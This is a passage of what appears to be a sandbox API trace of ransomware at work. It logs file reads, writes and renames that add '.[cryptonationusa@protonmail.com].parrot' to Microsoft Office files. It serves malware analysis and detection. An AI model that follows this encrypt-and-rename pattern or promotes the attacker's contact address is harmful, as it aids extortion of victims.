out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcae0, lpOverlapped=0x0) returned 1 [0202.258] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.267] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.268] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.268] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45792, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45792, lpOverlapped=0x0) returned 1 [0202.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.491] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.500] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.500] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.502] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.503] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x878c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x878c, lpOverlapped=0x0) returned 1 [0202.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.514] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0202.514] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4bb2d80, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x4bb2d80, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.548] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b6a320, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x10d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PGLBL0~1.PAR")) returned 1 [0202.600] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.600] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0202.601] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.601] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdb2, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xdb2, lpOverlapped=0x0) returned 1 [0202.602] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.609] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.609] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0202.612] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.612] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13764, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x13764, lpOverlapped=0x0) returned 1 [0202.615] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.616] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.623] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.623] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0202.625] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.625] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x135b4, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x135b4, lpOverlapped=0x0) returned 1 [0202.629] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.636] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0202.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0202.682] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0202.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0202.682] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0202.682] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0202.682] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0202.683] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0202.695] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0202.695] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.695] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0202.695] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0202.695] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0202.695] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0202.695] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.695] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf7a00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x97748b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdcf7a00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x517800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.DLL", cAlternateFileName="")) returned 1 [0202.696] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0202.696] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0202.696] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.696] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0202.696] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0202.696] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0202.696] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0202.696] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.696] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c189700, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4551080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c189700, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xc6f390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.DLL", cAlternateFileName="")) returned 1 [0202.697] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0202.697] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0202.697] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.697] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0202.697] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0202.697] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0202.697] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0202.697] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.697] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a86c00, ftCreationTime.dwHighDateTime=0x1ca60f4, ftLastAccessTime.dwLowDateTime=0x54f4210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6a86c00, ftLastWriteTime.dwHighDateTime=0x1ca60f4, nFileSizeHigh=0x0, nFileSizeLow=0x227c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.DLL", cAlternateFileName="")) returned 1 [0202.698] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.698] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.700] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.700] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0202.730] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.730] WriteFile (in: hFile=0x27c, lpBuffer=0x319c470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319c470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0202.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.735] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0202.737] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39d053, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0202.737] CloseHandle (hObject=0x27c) returned 1 [0202.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3en.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.746] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.747] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.748] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.748] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0202.777] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.777] WriteFile (in: hFile=0x27c, lpBuffer=0x319c470*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x319c470*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0202.781] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.782] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0202.784] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4113f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0202.784] CloseHandle (hObject=0x27c) returned 1 [0202.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3es.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.793] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.794] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.808] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x19, lpOverlapped=0x0) returned 1 [0202.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3FR.LEX" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3fr.lex"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3FR.LEX.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\msgr3fr.lex.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0202.858] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0202.858] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0202.860] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, 